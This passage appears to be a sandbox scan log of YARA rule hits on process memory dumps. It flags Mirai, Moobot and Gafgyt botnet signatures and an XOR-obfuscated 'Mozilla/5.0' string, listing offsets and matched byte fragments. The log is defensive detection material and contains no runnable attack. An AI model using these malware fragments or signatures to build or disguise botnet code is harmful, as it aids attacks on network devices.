6929.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6929.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7094.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6501.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7038.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7053.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7053.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7053.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7053.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7053.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7053.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6429.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6762.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6762.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6762.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6762.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6762.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6762.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7036.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7036.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7036.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7036.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7036.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7036.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6703.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6703.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6703.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6703.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6703.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6703.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6475.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7050.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7050.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7050.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7050.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7050.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 